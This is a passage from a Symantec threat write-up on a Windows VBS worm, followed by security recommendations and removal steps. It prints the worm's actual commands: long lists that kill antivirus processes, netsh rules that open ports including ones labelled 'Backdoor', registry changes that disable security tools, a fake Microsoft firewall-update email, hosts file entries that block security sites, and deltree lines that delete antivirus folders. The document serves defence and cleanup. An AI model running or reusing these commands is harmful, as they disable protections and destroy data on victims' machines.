    @taskkill /IM PERISCOPE.exe /F
    @taskkill /IM PERSFW.exe /F
    @taskkill /IM PERSWF.exe /F
    @taskkill /IM PF2.exe /F
    @taskkill /IM PFWADMIN.exe /F
    @taskkill /IM PGMONITR.exe /F
    @taskkill /IM PINGSCAN.exe /F
    @taskkill /IM PLATIN.exe /F
    @taskkill /IM POP3TRAP.exe /F
    @taskkill /IM POPROXY.exe /F
    @taskkill /IM POPSCAN.exe /F
    @taskkill /IM PORTDETECTIVE.exe /F
    @taskkill /IM PORTMONITOR.exe /F
    @taskkill /IM POWERSCAN.exe /F
    @taskkill /IM PPINUPDT.exe /F
    @taskkill /IM PPTBC.exe /F
    @taskkill /IM PPVSTOP.exe /F
    @taskkill /IM PRIZESURFER.exe /F
    @taskkill /IM PRMT.exe /F
    @taskkill /IM PRMVR.exe /F
    @taskkill /IM PROCDUMP.exe /F
    @taskkill /IM PROCESSMONITOR.exe /F
    @taskkill /IM PROCEXPLORERV1.0.exe /F
    @taskkill /IM PROGRAMAUDITOR.exe /F
    @taskkill /IM PROPORT.exe /F
    @taskkill /IM PROTECTX.exe /F
    @taskkill /IM PSPF.exe /F
    @taskkill /IM PURGE.exe /F
    @taskkill /IM QCONSOLE.exe /F
    @taskkill /IM QSERVER.exe /F
    @taskkill /IM RAPAPP.exe /F
    @taskkill /IM RAV7.exe /F
    @taskkill /IM RAV7WIN.exe /F
    @taskkill /IM RAV8WIN32ENG.exe /F
    @taskkill /IM RAY.exe /F
    @taskkill /IM RB32.exe /F
    @taskkill /IM RCSYNC.exe /F
    @taskkill /IM REALMON.exe /F
    @taskkill /IM REGED.exe /F
    @taskkill /IM REGEDIT.exe /F
    @taskkill /IM REGEDT32.exe /F
    @taskkill /IM RESCUE.exe /F
    @taskkill /IM RESCUE32.exe /F
    @taskkill /IM RRGUARD.exe /F
    @taskkill /IM RSHELL.exe /F
    @taskkill /IM RTVSCAN.exe /F
    @taskkill /IM RTVSCN95.exe /F
    @taskkill /IM RULAUNCH.exe /F
    @taskkill /IM RUN32DLL.exe /F
    @taskkill /IM RUNDLL.exe /F
    @taskkill /IM RUNDLL16.exe /F
    @taskkill /IM RUXDLL32.exe /F
    @taskkill /IM SAFEWEB.exe /F
    @taskkill /IM SAHAGENT.exe /F
    @taskkill /IM SAVE.exe /F
    @taskkill /IM SAVENOW.exe /F
    @taskkill /IM SBSERV.exe /F
    @taskkill /IM SC.exe /F
    @taskkill /IM SCAM32.exe /F
    @taskkill /IM SCAN32.exe /F
    @taskkill /IM SCAN95.exe /F
    @taskkill /IM SCANPM.exe /F
    @taskkill /IM SCRSCAN.exe /F
    @taskkill /IM SETUPVAMEEVAL.exe /F
    @taskkill /IM SETUP_FLOWPROTECTOR_US.exe /F
    @taskkill /IM SFC.exe /F
    @taskkill /IM SGSSFW32.exe /F
    @taskkill /IM SH.exe /F
    @taskkill /IM SHELLSPYINSTALL.exe /F
    @taskkill /IM SHN.exe /F
    @taskkill /IM SHOWBEHIND.exe /F
    @taskkill /IM SMC.exe /F
    @taskkill /IM SMS.exe /F
    @taskkill /IM SMSS32.exe /F
    @taskkill /IM SOAP.exe /F
    @taskkill /IM SOFI.exe /F
    @taskkill /IM SPERM.exe /F
    @taskkill /IM SPF.exe /F
    @taskkill /IM SPHINX.exe /F
    @taskkill /IM SPOLER.exe /F
    @taskkill /IM SPOOLCV.exe /F
    @taskkill /IM SPOOLSV32.exe /F
    @taskkill /IM SPYXX.exe /F
    @taskkill /IM SREXE.exe /F
    @taskkill /IM SRNG.exe /F
    @taskkill /IM SS3EDIT.exe /F
    @taskkill /IM SSGRATE.exe /F
    @taskkill /IM SSG_4104.exe /F
    @taskkill /IM ST2.exe /F
    @taskkill /IM START.exe /F
    @taskkill /IM STCLOADER.exe /F
    @taskkill /IM SUPFTRL.exe /F
    @taskkill /IM SUPPORT.exe /F
    @taskkill /IM SUPPORTER5.exe /F
    @taskkill /IM SVC.exe /F
    @taskkill /IM SVCHOSTC.exe /F
    @taskkill /IM SVCHOSTS.exe /F
    @taskkill /IM SVSHOST.exe /F
    @taskkill /IM SWEEP95.exe /F
    @taskkill /IM SWEEPNET.SWEEPSRV.SYS.SWNETSUP.exe /F
    @taskkill /IM SYMPROXYSVC.exe /F
    @taskkill /IM SYMTRAY.exe /F
    @taskkill /IM SYSEDIT.exe /F
    @taskkill /IM SYSTEM.exe /F
    @taskkill /IM SYSTEM32.exe /F
    @taskkill /IM SYSUPD.exe /F
    @taskkill /IM TASKMG.exe /F
    @taskkill /IM TASKMO.exe /F
    @taskkill /IM TASKMON.exe /F
    @taskkill /IM TAUMON.exe /F
    @taskkill /IM TBSCAN.exe /F
    @taskkill /IM TC.exe /F
    @taskkill /IM TCA.exe /F
    @taskkill /IM TCM.exe /F
    @taskkill /IM TDS-3.exe /F
    @taskkill /IM TDS2-NT.exe /F
    @taskkill /IM TEEKIDS.exe /F
    @taskkill /IM TFAK.exe /F
    @taskkill /IM TFAK5.exe /F
    @taskkill /IM TGBOB.exe /F
    @taskkill /IM TITANIN.exe /F
    @taskkill /IM TITANINXP.exe /F
    @taskkill /IM TRACERT.exe /F
    @taskkill /IM TRICKLER.exe /F
    @taskkill /IM TRJSCAN.exe /F
    @taskkill /IM TRJSETUP.exe /F
    @taskkill /IM TROJANTRAP3.exe /F
    @taskkill /IM TSADBOT.exe /F
    @taskkill /IM TVMD.exe /F
    @taskkill /IM TVTMD.exe /F
    @taskkill /IM UNDOBOOT.exe /F
    @taskkill /IM UPDAT.exe /F
    @taskkill /IM UPDATE.exe /F
    @taskkill /IM UPDATE.exe /F
    @taskkill /IM UPGRAD.exe /F
    @taskkill /IM UTPOST.exe /F
    @taskkill /IM VBCMSERV.exe /F
    @taskkill /IM VBCONS.exe /F
    @taskkill /IM VBUST.exe /F
    @taskkill /IM VBWIN9X.exe /F
    @taskkill /IM VBWINNTW.exe /F
    @taskkill /IM VCSETUP.exe /F
    @taskkill /IM VET32.exe /F
    @taskkill /IM VET95.exe /F
    @taskkill /IM VETTRAY.exe /F
    @taskkill /IM VFSETUP.exe /F
    @taskkill /IM VIR-HELP.exe /F
    @taskkill /IM VIRUSMDPERSONALFIREWALL.exe /F
    @taskkill /IM VNLAN300.exe /F
    @taskkill /IM VNPC3000.exe /F
    @taskkill /IM VPC32.exe /F
    @taskkill /IM VPC42.exe /F
    @taskkill /IM VPFW30S.exe /F
    @taskkill /IM VPTRAY.exe /F
    @taskkill /IM VSCAN40.exe /F
    @taskkill /IM VSCENU6.02D30.exe /F
    @taskkill /IM VSCHED.exe /F
    @taskkill /IM VSECOMR.exe /F
    @taskkill /IM VSHWIN32.exe /F
    @taskkill /IM VSISETUP.exe /F
    @taskkill /IM VSMAIN.exe /F
    @taskkill /IM VSMON.exe /F
    @taskkill /IM VSSTAT.exe /F
    @taskkill /IM VSWIN9XE.exe /F
    @taskkill /IM VSWINNTSE.exe /F
    @taskkill /IM VSWINPERSE.exe /F
    @taskkill /IM W32DSM89.exe /F
    @taskkill /IM W9X.exe /F
    @taskkill /IM WATCHDOG.exe /F
    @taskkill /IM WEBDAV.exe /F
    @taskkill /IM WEBSCANX.exe /F
    @taskkill /IM WEBTRAP.exe /F
    @taskkill /IM WFINDV32.exe /F
    @taskkill /IM WHOSWATCHINGME.exe /F
    @taskkill /IM WIMMUN32.exe /F
    @taskkill /IM WIN-BUGSFIX.exe /F
    @taskkill /IM WIN32.exe /F
    @taskkill /IM WIN32US.exe /F
    @taskkill /IM WINACTIVE.exe /F
    @taskkill /IM WINDOW.exe /F
    @taskkill /IM WINDOWS.exe /F
    @taskkill /IM WININETD.exe /F
    @taskkill /IM WININIT.exe /F
    @taskkill /IM WININITX.exe /F
    @taskkill /IM WINLOGIN.exe /F
    @taskkill /IM WINMAIN.exe /F
    @taskkill /IM WINNET.exe /F
    @taskkill /IM WINPPR32.exe /F
    @taskkill /IM WINRECON.exe /F
    @taskkill /IM WINSERVN.exe /F
    @taskkill /IM WINSSK32.exe /F
    @taskkill /IM WINSTART.exe /F
    @taskkill /IM WINSTART001.exe /F
    @taskkill /IM WINTSK32.exe /F
    @taskkill /IM WINUPDATE.exe /F
    @taskkill /IM WKUFIND.exe /F
    @taskkill /IM WNAD.exe /F
    @taskkill /IM WNT.exe /F
    @taskkill /IM WRADMIN.exe /F
    @taskkill /IM WRCTRL.exe /F
    @taskkill /IM WSBGATE.exe /F
    @taskkill /IM WUPDATER.exe /F
    @taskkill /IM WUPDT.exe /F
    @taskkill /IM WYVERNWORKSFIREWALL.exe /F
    @taskkill /IM XPF202EN.exe /F
    @taskkill /IM ZAPRO.exe /F
    @taskkill /IM ZAPSETUP3001.exe /F
    @taskkill /IM ZATUTOR.exe /F
    @taskkill /IM ZONALM2601.exe /F
    @taskkill /IM ZONEALARM.exe /F
    @taskkill /IM _AVP32.exe /F
    @taskkill /IM _AVPCC.exe /F
    @taskkill /IM _AVPM.exe /F
    @taskkill /IM CMD.exe /F
    @taskkill /IM TASKMGR.EXE /F
    @taskkill /IM NEC.EXE /F

  6. Overwrites C:\WINDOWS\System32\Firewall.bat with the following lines:

    @netsh firewall add portopening tcp 7 Echo
    @netsh firewall add portopening tcp 443 HTTPS
    @netsh firewall add portopening tcp 445 Echo Request
    @netsh firewall add portopening tcp 135 File Sharing
    @netsh firewall add portopening tcp 137 File Sharing
    @netsh firewall add portopening tcp 139 File Sharing
    @netsh firewall add portopening tcp 110 POP3
    @netsh firewall add portopening tcp 109 POP2
    @netsh firewall add portopening tcp 21 FTP
    @netsh firewall add portopening tcp 20 FTP-Data
    @netsh firewall add portopening tcp 25 SMTP
    @netsh firewall add portopening tcp 23 Telnet
    @netsh firewall add portopening tcp 22 SSH
    @netsh firewall add portopening tcp 80 HTTP
    @netsh firewall add portopening tcp 8080 HTTP Proxy
    @netsh firewall add portopening tcp 5554 Backdoor
    @netsh firewall add portopening tcp 1080 Proxy
    @netsh firewall add portopening tcp 3389 Remote Destop
    @netsh firewall add portopening tcp 4899 Remote Administrator
    @netsh firewall add portopening tcp 5800 VNC
    @netsh firewall add portopening tcp 5900 VNC
    @netsh firewall add portopening tcp 6667 Backdoor
    @netsh firewall add portopening tcp 42 WINS
    @netsh firewall add portopening tcp 256 Firewall
    @netsh firewall add portopening tcp 257 Firewall
    @netsh firewall add portopening tcp 259 Firewall
    @netsh firewall add portopening tcp 70 gopher
    @netsh firewall add portopening tcp 79 Finger
    @netsh firewall add portopening tcp 53 DNS
    @netsh firewall add portopening tcp 258 Firewall
    @netsh firewall add portopening tcp 1745 PPTP
    @netsh firewall add portopening tcp 1723 PPTP
    @netsh firewall add portopening udp 69 UDP
    @netsh firewall add portopening udp 53 DNS Server
    @netsh firewall add portopening udp 1810 IAS
    @netsh firewall add portopening udp 1811 IAS

  7. Adds the values:

    "WINLOGON" = "wscript.exe C:\Windows\System32\WINLOGON.vbs %"
    "Tasmgr" = "C:\WINDOWS\System32\Taskmgr.bat"
    "Firewall" = "C:\WINDOWS\System32\Firewall.bat"

    to the registry subkey:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Run

    so that the worm and the modified .bat files are executed every time Windows starts.

  8. Adds the value:

    "Event17" = "dcc send $nick C:\Virc\Sexy Girls.mpg.vbs"

    to the registry subkey:

    HKEY_CURRENT_USER\.Default\Software\MeGaLiTh Software\Visual IRC 96\Events

    to allow it to spread through IRC channels.

  9. Adds the values:

    "1" = "regedit.exe"
    "2" = "regedt32.exe"
    "3" = "taskmgr.exe"
    "4" = "wuauclt1.exe"
    "5" = "wuauclt.exe"
    "6" = "wupdmgr.exe"
    "7" = "vptray.exe"
    "8" = "wupdmgr.exe"
    "9" = "vpc32.exe"
    "10" = "LUAll.exe"

    to the registry subkey:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
    \Explorer\DisallowRun

    to lower the security settings and disable some security-related programs.

  10. Adds the values:

    "DisableRegistryTools" = "1"
    "DisableTaskMgr" = "1"
    "NoVirtMemPage" = "1"

    to the subkey:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

    to disable some security-related programs.

  11. Adds the values:

    "FirewallDisableNotify" = "1"
    "FirewallOverride" = "1"
    "UpdatesDiasbleNotify" = "1"
    "AntivirusDisableNotify" = "1"

    to the registry subkey:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center

    to lower the security settings.

  12. Adds the value:

    "Disabled = "1"

    to the subkey:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp

  13. Adds the value:

    "NoControlPanel" = "1"

    to the subkey:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

  14. Adds the value:

    "WinStationsDisabled" ="1"

    to the subkey:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

  15. Adds the value:

    "AUOptions = "1"

    to the subkey:

    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update

  16. Adds the value:

    "DomainProfile" = "1"

    to the subkey:

    HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\WindowsFirewall

  17. Adds the value:

    "EnableFirewall" = "1"

    to the subkey:

    HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\WindowsFirewall\StandardProfile

  18. Adds the values:

    "DisableNotifications" = "1"
    "EnableFirewall" = "0"

    to the subkey:

    HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters
    \FirewallPolicy\StandardProfile

  19. Adds the value:

    "ServiceUpgrade" = "0"

    to the subkey:

    HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Setup

  20. Adds the value:

    "wscsvc" = "4"

    to the subkey:

    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services

  21. Adds the value:

    "Start" = "4"

    to the subkey:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ShareAccess

  22. Deletes the following registry entry:

    HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\HTTPFilter
    \Parameters\description

  23. Uses Microsoft Outlook to send itself to all the contacts in Windows Address Book. The email has the following characteristics:

    Subject: Your Microsoft Firewall Help

    Message Body:
    Microsoft found a problem in your last update with your Windows Firewall. To fix the problem you must install the attached file.
    Microsoft (R)
    [http://]windowsupdate.microsoft.com/[REMOVED] 

    Attachment: WINLOGON.vbs

  24. If MIRC is installed on the compromised computer, the worm modifies the script.ini file so that the file c:\windows\system\porno.vbs is sent to all other users on the IRC channel.

  25. Modifies all files with the extension .iis in C:\Windows\Inf by adding the following text:

    Source: C:\WINDOWS\System32\WINLOGON.vbs; DestDir: {app}; Flags: ignoreversion

  26. Attempts to shut down computers with the following IP addresses:

    • 192.168.1.15
    • 192.168.1.16
    • 192.168.1.17
    • 192.168.1.18
    • 192.168.1.19
    • 192.168.1.20
    • 192.168.1.21
    • 192.168.1.22
    • 192.168.1.23
    • 192.168.1.24
    • 192.168.1.25
    • 192.168.1.26
    • 192.168.1.27
    • 192.168.1.28
    • 192.168.1.29
    • 192.168.1.30
    • 192.168.1.31
    • 192.168.1.32
    • 192.168.1.33
    • 192.168.1.34
    • 192.168.1.35
    • 192.168.1.36
    • 192.168.1.37
    • 192.168.1.38
    • 192.168.1.39
    • 192.168.1.40
    • 192.168.1.41
    • 192.168.1.42
    • 192.168.1.43
    • 192.168.1.44
    • 192.168.1.45
    • 192.168.1.46
    • 192.168.1.47
    • 192.168.1.101
    • 192.168.1.102
    • 192.168.1.103
    • 192.168.1.104
    • 192.168.1.105
    • 192.168.1.106
    • 192.168.1.107
    • 192.168.1.108
    • 192.168.1.109
    • 192.168.1.111
    • 192.168.1.112
    • 192.168.1.113
    • 192.168.1.114
    • 192.168.1.115
    • 192.168.1.116
    • 192.168.1.117
    • 192.168.1.118
    • 192.168.1.119
    • 192.168.1.120
    • 192.168.15.100
    • 192.168.15.101
    • 192.168.15.102
    • 192.168.15.103
    • 192.168.15.104
    • 192.168.15.105
    • 192.168.15.106
    • 192.168.15.107
    • 192.168.15.108
    • 192.168.15.109
    • 192.168.15.111
    • 192.168.15.112
    • 192.168.15.113
    • 192.168.15.114
    • 192.168.15.115
    • 192.168.15.116
    • 192.168.15.117
    • 192.168.15.118
    • 192.168.15.119
    • 192.168.15.120

  27. Appends the following text to the hosts file to prevent access to several security-related Web sites:

    127.0.0.1 www.symantec.com
    127.0.0.1 securityresponse.symantec.com
    127.0.0.1 symantec.com
    127.0.0.1 www.sophos.com
    127.0.0.1 sophos.com
    127.0.0.1 www.mcafee.com
    127.0.0.1 mcafee.com
    127.0.0.1 liveupdate.symantecliveupdate.com
    127.0.0.1 www.viruslist.com
    127.0.0.1 viruslist.com
    127.0.0.1 viruslist.com
    127.0.0.1 f-secure.com
    127.0.0.1 www.f-secure.com
    127.0.0.1 kaspersky.com
    127.0.0.1 kaspersky-labs.com
    127.0.0.1 www.avp.com
    127.0.0.1 www.kaspersky.com
    127.0.0.1 avp.com
    127.0.0.1 www.networkassociates.com
    127.0.0.1 networkassociates.com
    127.0.0.1 www.ca.com
    127.0.0.1 ca.com
    127.0.0.1 mast.mcafee.com
    127.0.0.1 my-etrust.com
    127.0.0.1 www.my-etrust.com
    127.0.0.1 download.mcafee.com
    127.0.0.1 dispatch.mcafee.com
    127.0.0.1 secure.nai.com
    127.0.0.1 nai.com
    127.0.0.1 www.nai.com
    127.0.0.1 update.symantec.com
    127.0.0.1 updates.symantec.com
    127.0.0.1 us.mcafee.com
    127.0.0.1 liveupdate.symantec.com
    127.0.0.1 customer.symantec.com
    127.0.0.1 rads.mcafee.com
    127.0.0.1 trendmicro.com
    127.0.0.1 www.trendmicro.com
    127.0.0.1 www.grisoft.com
    127.0.0.1 www.microsoft.com
    127.0.0.1 microsoft.com
    127.0.0.1 www.msn.com
    127.0.0.1 www.virustotal.com
    127.0.0.1 virustotal.com
    127.0.0.1 www.oxyd.fr
    127.0.0.1 oxyd.fr
    127.0.0.1 www.t35.com
    127.0.0.1 t35.com
    127.0.0.1 www.t35.net
    127.0.0.1 t35.net
    127.0.0.1 www.norton.com
    127.0.0.1 www.sarc.com
    127.0.0.1 downloads-us1.kaspersky-labs.com
    127.0.0.1 updates1.kaspersky-labs.com
    127.0.0.1 updates2.kaspersky-labs.com
    127.0.0.1 updates3.kaspersky-labs.com
    127.0.0.1 downloads1.kaspersky-labs.com
    127.0.0.1 downloads2.kaspersky-labs.com
    127.0.0.1 downloads3.kaspersky-labs.com
    127.0.0.1 ftp.downloads1.kaspersky-labs.com
    127.0.0.1 ftp.downloads2.kaspersky-labs.com
    127.0.0.1 ftp.downloads3.kaspersky-labs.com
    127.0.0.1 ftp.symantec.com
    127.0.0.1 windowsupdate.microsoft.com
    127.0.0.1 officeupdate.microsoft.com
    127.0.0.1 www.kddi.de
    127.0.0.1 www.uni-cert.nl
    127.0.0.1 www.sarc.com
    127.0.0.1 www.thesecure.net
    127.0.0.1 www.downloads.com
    127.0.0.1 www.spacelink.com.au
    127.0.0.1 www.akonix.com
    127.0.0.1 www.linknet.com.au
    127.0.0.1 www.techzoom.net
    127.0.0.1 content.tibs.at
    127.0.0.1 www.corsaire.com
    127.0.0.1 jp.fujitsu.com
    127.0.0.1 www.tmsr.net
    127.0.0.1 www.kp24.de
    127.0.0.1 www.headliner.org
    127.0.0.1 newsflash.nifty.com
    127.0.0.1 www.cjmtechs.com
    127.0.0.1 www.yuikee.com.hk
    127.0.0.1 www.hackzona.ru
    127.0.0.1 www.xpect.ch
    127.0.0.1 computers.yahoo.co.jp
    127.0.0.1 kuro.nobody.jp
    127.0.0.1 citadelle.intrinsec.com
    127.0.0.1 computer.msn.co.jp
    127.0.0.1 www.south.rit.ac.th
    127.0.0.1 d.hatena.ne.jp
    127.0.0.1 www.oct-net.ne.jp
    127.0.0.1 bbs.whnet.edu.cn
    127.0.0.1 www.tac.cz
    127.0.0.1 omakase.jp
    127.0.0.1 stats.epiknet.org
    127.0.0.1 www.alter-net.com
    127.0.0.1 sid.softek.co.jp
    127.0.0.1 news.goo.ne.jp
    127.0.0.1 www.fken.ise.osaka-sandai.ac.jp
    127.0.0.1 www.rolan.si
    127.0.0.1 www.searchready.co.uk
    127.0.0.1 192.168.1.1
    127.0.0.1 192.168.15.1

  28. Runs the file C:\WINDOWS\System32\Firewall.bat.

  29. Displays a message box containing the following text:

    Title: Firewall Update

    Message body: Install Successful.



Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

  • Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world.
  • Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
  • Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application.
  • Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available.
  • Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared.
  • Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack.
  • If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
  • Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services.
  • Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files.
  • Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media.
  • Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.
  • If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to "Hidden" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to "Unauthorized", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources.
  • For further information on the terms used in this document, please refer to the Security Response glossary.

Writeup By: Candid Wueest

Discovered: June 17, 2005
Updated: February 13, 2007 12:40:42 PM
Type: Worm
Systems Affected: Windows


The following instructions pertain to all current and recent Symantec antivirus products, including the Symantec AntiVirus and Norton AntiVirus product lines.

  1. Disable System Restore (Windows Me/XP).
  2. Remove all the entries that the risk added to the hosts file.
  3. Update the virus definitions.
  4. Run a full system scan and delete all the files detected.
  5. Delete any values added to the registry.
  6. Edit the Autoexec.bat file.
  7. Restore the Windows Security Center.
  8. Reenable the SharedAccess service (Windows 2000/XP only).
For specific details on each of these steps, read the following instructions.

1. To disable System Restore (Windows Me/XP)
If you are running Windows Me or Windows XP, we recommend that you temporarily turn off System Restore. Windows Me/XP uses this feature, which is enabled by default, to restore the files on your computer in case they become damaged. If a virus, worm, or Trojan infects a computer, System Restore may back up the virus, worm, or Trojan on the computer.

Windows prevents outside programs, including antivirus programs, from modifying System Restore. Therefore, antivirus programs or tools cannot remove threats in the System Restore folder. As a result, System Restore has the potential of restoring an infected file on your computer, even after you have cleaned the infected files from all the other locations.

Also, a virus scan may detect a threat in the System Restore folder even though you have removed the threat.

For instructions on how to turn off System Restore, read your Windows documentation, or one of the following articles:
Note:
When you are completely finished with the removal procedure and are satisfied that the threat has been removed, reenable System Restore by following the instructions in the aforementioned documents.

For additional information, and an alternative to disabling Windows Me System Restore, see the Microsoft Knowledge Base article: Antivirus Tools Cannot Clean Infected Files in the _Restore Folder (Article ID: Q263455).

2. To remove all the entries that the risk added to the hosts file
  1. Navigate to the following location:

    • Windows 95/98/Me:
      %Windir%
    • Windows NT/2000/XP:
      %Windir%\System32\drivers\etc

      Notes:
    • The location of the hosts file may vary and some computers may not have this file. There may also be multiple copies of this file in different locations. If the file is not located in these folders, search your disk drives for the hosts file, and then complete the following steps for each instance found.
    • %Windir% is a variable that refers to the Windows installation folder. By default, this is C:\Windows (Windows 95/98/Me/XP) or C:\Winnt (Windows NT/2000).

  2. Double-click the hosts file.
  3. If necessary, deselect the "Always use this program to open this program" check box.
  4. Scroll through the list of programs and double-click Notepad.
  5. When the file opens, delete all the entries added by the risk. (See the Technical Details section for a complete list of entries.)
  6. Close Notepad and save your changes when prompted.

3. To update the virus definitions
Symantec Security Response fully tests all the virus definitions for quality assurance before they are posted to our servers. There are two ways to obtain the most recent virus definitions:
  • Running LiveUpdate, which is the easiest way to obtain virus definitions: These virus definitions are posted to the LiveUpdate servers once each week (usually on Wednesdays), unless there is a major virus outbreak. To determine whether definitions for this threat are available by LiveUpdate, refer to the document: Virus Definitions (LiveUpdate).
  • Downloading the definitions using the Intelligent Updater: The Intelligent Updater virus definitions are posted daily. You should download the definitions from the Symantec Security Response Web site and manually install them. To determine whether definitions for this threat are available by the Intelligent Updater, refer to the document: Virus Definitions (Intelligent Updater).

    The latest Intelligent Updater virus definitions can be obtained here: Intelligent Updater virus definitions. For detailed instructions read the document: How to update virus definition files using the Intelligent Updater.


4. To scan for and delete the infected files
  1. Start your Symantec antivirus program and make sure that it is configured to scan all the files.
  2. Run a full system scan.
  3. If any files are detected, click Delete.

Important: If your Symantec antivirus product reports that it cannot delete a detected file, Windows may be using the file. To fix this, run the scan in Safe mode. For instructions, read the document: How to start the computer in Safe Mode . Once you have restarted in Safe mode, run the scan again.

After the files are deleted, restart the computer in Normal mode and proceed with the next section.

Warning messages may be displayed when the computer is restarted, since the threat may not be fully removed at this point. You can ignore these messages and click OK. These messages will not appear when the computer is restarted after the removal instructions have been fully completed. The messages displayed may be similar to the following:

Title: [File path]
Message body: Windows cannot find [file name]. Make sure you typed the name correctly, and then try again. To search for a file, click the Start button, and then click Search.


5. To delete the value from the registry
Important: Symantec strongly recommends that you back up the registry before making any changes to it. Incorrect changes to the registry can result in permanent data loss or corrupted files. Modify the specified subkeys only. For instructions refer to the document: How to make a backup of the Windows registry.
  1. Click Start > Run.
  2. Type regedit
  3. Click OK.

    Note: If the registry editor fails to open the threat may have modified the registry to prevent access to the registry editor. Security Response has developed a tool to resolve this problem. Download and run this tool, and then continue with the removal.

  4. Navigate to the subkey:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Run

  5. In the right pane, delete the values:

    "WINLOGON" = "wscript.exe C:\Windows\System32\WINLOGON.vbs %"
    "Tasmgr" = "C:\WINDOWS\System32\Taskmgr.bat"
    "Firewall" = "C:\WINDOWS\System32\Firewall.bat"

  6. Navigate to the subkey:

    HKEY_CURRENT_USER\.Default\Software\MeGaLiTh Software\Visual IRC 96\Events

  7. In the right pane, delete the values:

    "Event17" = "dcc send $nick C:\Virc\Sexy Girls.mpg.vbs"

  8. Navigate to the subkey:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
    \Explorer\DisallowRun

  9. In the right pane, delete the values:

    "1" = "regedit.exe"
    "2" = "regedt32.exe"
    "3" = "taskmgr.exe"
    "4" = "wuauclt1.exe"
    "5" = "wuauclt.exe"
    "6" = "wupdmgr.exe"
    "7" = "vptray.exe"
    "8" = "wupdmgr.exe"
    "9" = "vpc32.exe"
    "10" = "LUAll.exe"

  10. Navigate to the subkey:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
    \Policies\System

  11. In the right pane, delete the values:

    "DisableTaskMgr" = "1"
    "NoVirtMemPage" = "1"

  12. Navigate to the subkey:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
    \Policies\WinOldApp

  13. In the right pane, delete the value:

    "Disabled = "1"

  14. Exit the Registry Editor.

6. To edit the Autoexec.bat file
If you are running Windows 95/98/Me, follow these steps:
  1. The function you perform depends on your operating system:
    1. Windows 95/98: Go to step B.
    2. Windows Me: If you are running Windows Me, the Windows Me file-protection process may have made a backup copy of the Autoexec.bat file that you need to edit. If this backup copy exists, it will be in the C:\Windows\Recent folder. Symantec recommends that you delete this file before continuing with the steps in this section. To do this:
      1. Start Windows Explorer.
      2. Browse to and select the C:\Windows\Recent folder.
      3. In the right pane, select the Autoexec.bat file and delete it.

  2. Click Start, and then click Run.
  3. Type the following, and then click OK.

    edit c:\autoexec.bat

  4. Delete the following lines:

    @deltree/y c:\antiba~1\*.* >nul
    @deltree/y c:\antiba~2\*.* >nul
    @deltree/y c:\antiba~1.1\*.* >nul
    @deltree/y c:\antiba~1.2\*.* >nul
    @deltree/y c:\antiba~1.3\*.* >nul
    @deltree/y c:\antiba~1.4\*.* >nul
    @deltree/y c:\antiba~1.5\*.* >nul
    @deltree/y c:\antiba~1.6\*.* >nul
    @deltree/y c:\antiba~1.7\*.* >nul
    @deltree/y c:\antiba~1.8\*.* >nul
    @deltree/y c:\antivi~1\*.* >nul
    @deltree/y c:\antivi~2\*.* >nul
    @deltree/y c:\antiviru\*.* >nul
    @deltree/y c:\avg\*.* >nul
    @deltree/y c:\avp\*.* >nul
    @deltree/y c:\avp30\*.* >nul
    @deltree/y c:\avx\*.* >nul
    @deltree/y c:\avpers~1\*.* >nul
    @deltree/y c:\bitdef~1\*.* >nul
    @deltree/y c:\bitdef~2\*.* >nul
    @deltree/y c:\comman~1\*.* >nul
    @deltree/y c:\cleancih\*.* >nul
    @deltree/y c:\esafen\*.* >nul
    @deltree/y c:\findvi~1\*.* >nul
    @deltree/y c:\f-macro\*.* >nul
    @deltree/y c:\f-prot\*.* >nul
    @deltree/y c:\f-prot95\*.* >nul
    @deltree/y c:\f-secu~1\*.* >nul
    @deltree/y c:\fwin\*.* >nul
